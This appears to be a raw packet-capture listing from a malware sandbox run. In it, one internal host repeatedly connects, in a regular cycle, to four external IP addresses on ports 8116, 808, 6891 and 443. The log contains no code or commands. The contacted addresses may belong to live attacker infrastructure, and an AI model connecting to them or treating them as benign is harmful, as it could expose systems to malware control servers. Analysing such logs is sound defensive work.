Oct 28, 2021 04:45:19.767792940 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.787046909 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.787122965 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:19.787261963 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.788136005 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.788163900 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:19.816508055 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.887101889 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.887149096 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:19.887270927 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.887938976 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:19.887952089 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.312350035 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.312567949 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.313669920 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.313694000 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.320179939 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.320209026 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.320297956 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.320313931 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.422347069 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.422466993 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.423372030 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.423384905 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.429796934 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.429811954 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:20.429922104 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:20.429934025 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.034173965 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.034257889 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.034352064 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.034393072 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.037508011 CEST	49784	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.037533998 CEST	443	49784	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.137412071 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.137489080 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.137501001 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.137537956 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.144726992 CEST	49785	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:21.144747019 CEST	443	49785	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:21.161128998 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.265467882 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.323949099 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.325690985 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.325738907 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.425551891 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.425668955 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.426903963 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.489278078 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.489303112 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.489449978 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.490107059 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.495393038 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.495496988 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.587276936 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.587317944 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.587404013 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.588077068 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.593981028 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.594280958 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:21.652714014 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.658108950 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.658137083 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.658502102 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.747510910 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.753488064 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.753585100 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:21.753650904 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.032710075 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.032732964 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.032922029 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:22.035917997 CEST	49786	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:22.136436939 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.136459112 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.136512041 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:22.136552095 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:22.142452002 CEST	49787	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:22.147453070 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.198654890 CEST	808	49786	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.260925055 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.302160025 CEST	808	49787	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:22.313798904 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.313895941 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.314805984 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.427318096 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.427498102 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.428423882 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.481075048 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.481235981 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.481336117 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.482110977 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.487345934 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.487478018 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.594667912 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.594933033 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.595010996 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.595758915 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.601082087 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.601207018 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:22.653805971 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.653832912 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.767410040 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.767430067 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:22.767446041 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.036669970 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.036694050 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.036865950 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:23.036936998 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:23.040127993 CEST	49788	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:23.148818970 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.148844957 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.149027109 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:23.156430960 CEST	49789	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:23.162173033 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.206288099 CEST	6891	49788	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.215142965 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.215337992 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.216164112 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.274620056 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.275156975 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.275731087 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.275815010 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.276494026 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.299563885 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.299696922 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.322459936 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.322731018 CEST	6891	49789	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:23.322858095 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.323689938 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.352480888 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.352680922 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.371264935 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.371501923 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.372101068 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.372781992 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.378290892 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.378453016 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.426065922 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.426088095 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.563906908 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.563927889 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.564033031 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.564099073 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.567459106 CEST	49790	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.617616892 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.617647886 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.617851019 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.617923021 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.620031118 CEST	8116	49790	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.625511885 CEST	49791	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:23.673523903 CEST	8116	49791	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:23.677220106 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.677270889 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:23.677427053 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.678159952 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.678174019 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:23.743410110 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.743458986 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:23.743577003 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.744225979 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:23.744240999 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.194103956 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.194199085 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.194972038 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.194983959 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.201347113 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.201373100 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.201512098 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.201520920 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.231023073 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.231240988 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.232054949 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.232074022 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.238768101 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.238785982 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.238902092 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.238914013 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.913769007 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.913842916 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.913867950 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.913887024 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.913918972 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.913958073 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.917191029 CEST	49792	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.917213917 CEST	443	49792	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.926896095 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.926980972 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:24.927000999 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.927037954 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.936187983 CEST	49793	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:24.936220884 CEST	443	49793	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:25.036259890 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.055772066 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.194462061 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.194571972 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.195327044 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.218256950 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.218367100 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.219088078 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.353233099 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.353374004 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.353440046 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.354091883 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.359114885 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.359239101 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.381128073 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.381264925 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.381359100 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.381961107 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.387094975 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.387212992 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.512001991 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.517229080 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.517242908 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.517252922 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.517267942 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.544039011 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.549154997 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.549171925 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.549197912 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.901894093 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.901920080 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.902146101 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.905332088 CEST	49794	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.927278996 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.927300930 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:25.927481890 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.928683043 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:25.934788942 CEST	49795	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:26.029262066 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.063349009 CEST	808	49794	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:26.088799000 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.096842051 CEST	808	49795	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:26.195777893 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.195956945 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.196751118 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.254235983 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.254637957 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.255342960 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.363014936 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.363116980 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.363274097 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.364033937 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.369784117 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.369921923 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.420624018 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.420649052 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.420732975 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.421464920 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.427337885 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.427512884 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.536288977 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.536323071 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.536333084 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.592643976 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.592670918 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.592679977 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.917117119 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.917140961 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.917367935 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.917423010 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.920631886 CEST	49796	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.969650030 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.969676971 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:26.969826937 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:26.977782965 CEST	49797	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:27.038106918 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.086659908 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.086843967 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.087203026 CEST	6891	49796	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:27.087647915 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.106342077 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.136027098 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.136660099 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.136776924 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.137499094 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.143373013 CEST	6891	49797	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:27.144352913 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.144479036 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.159624100 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.159806967 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.160630941 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.192585945 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.193242073 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.213613033 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.213893890 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.214042902 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.214775085 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.223248005 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.223335981 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.230716944 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.278186083 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.278213024 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.384176016 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.384203911 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.384438992 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.384475946 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.386878014 CEST	49798	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.434951067 CEST	8116	49798	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.462300062 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.462337971 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.462399006 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.462444067 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.468370914 CEST	49799	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:27.505162001 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.505223036 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:27.505333900 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.506030083 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.506072044 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:27.521327019 CEST	8116	49799	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:27.583360910 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.583410978 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:27.583523035 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.584003925 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:27.584026098 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.023375988 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.023467064 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.024149895 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.024166107 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.028976917 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.029001951 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.029186010 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.029200077 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.074322939 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.074491024 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.075633049 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.075656891 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.082643032 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.082676888 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.082891941 CEST	49801	443	192.168.2.5	192.46.210.220
